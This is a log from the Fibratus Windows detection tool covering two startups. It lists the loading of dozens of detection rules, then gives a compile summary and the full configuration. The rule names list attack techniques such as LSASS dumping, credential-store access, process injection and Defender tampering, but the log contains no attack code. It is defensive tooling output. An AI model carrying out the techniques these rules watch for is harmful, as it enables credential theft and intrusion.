C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T16:50:48+01:00 level=info msg=bootstrapping with pid 5924. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:50:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 to=>[] enabled=>false content-type=>text/html use-template=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-thread=>true enable-threadpool=>false enable-handle=>false stack-enrichment=>true max-buffers=>36 buffer-size=>512 enable-audit-api=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-registry=>true enable-vamap=>true min-buffers=>16 enable-dns=>false enable-fileio=>true enable-mem=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-size=>100 formatter=>text level=>info max-backups=>15] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false serializer=>json timeout=>5s endpoints=>[] method=>POST] amqp=>[ vhost=>/ enabled=>false timeout=>5s tls-insecure-skip-verify=>false passive=>false exchange-type=>topic exchange=>fibratus routing-key=>fibratus delivery-mode=>transient durable=>false url=>amqp://localhost:5672] elasticsearch=>[ healthcheck=>true gzip-compression=>false flush-period=>1s sniff=>false trace-log=>false healthcheck-timeout=>5s template-name=>fibratus healthcheck-interval=>10s enabled=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus timeout=>5s bulk-workers=>1] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-files=>false skip-mmaps=>false skip-allocs=>false fastscan=>true scan-timeout=>10s excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:50:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:50:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:51:11+01:00 level=error msg=unable to parse PE exports for module [C:\Windows\System32\wbem\ATL.dll]: open C:\Windows\System32\wbem\ATL.dll: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-20T16:51:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:51:46+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:51:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:51:49+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:51:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:51:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:51:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:51:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:51:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:51:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:51:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:51:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:51:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:51:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:51:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:51:50+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T16:51:50+01:00 level=info msg=bootstrapping with pid 1904. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:51:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html port=>25 use-template=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ flush-interval=>1s min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-fileio=>true stack-enrichment=>true enable-net=>true enable-thread=>true enable-registry=>true max-buffers=>36 buffer-size=>512 enable-image=>true enable-vamap=>true enable-threadpool=>false enable-handle=>false enable-dns=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 log-stdout=>true formatter=>text level=>info] + output ......................... [ http=>[ endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false method=>POST enabled=>false enable-gzip=>false serializer=>json] elasticsearch=>[ template-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 timeout=>5s index-name=>fibratus flush-period=>1s healthcheck-timeout=>5s gzip-compression=>false enabled=>false healthcheck-interval=>10s trace-log=>false healthcheck=>true] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ timeout=>5s routing-key=>fibratus vhost=>/ enabled=>false tls-insecure-skip-verify=>false exchange=>fibratus passive=>false delivery-mode=>transient durable=>false exchange-type=>topic url=>amqp://localhost:5672] eventlog=>[ level=>info enabled=>false]] 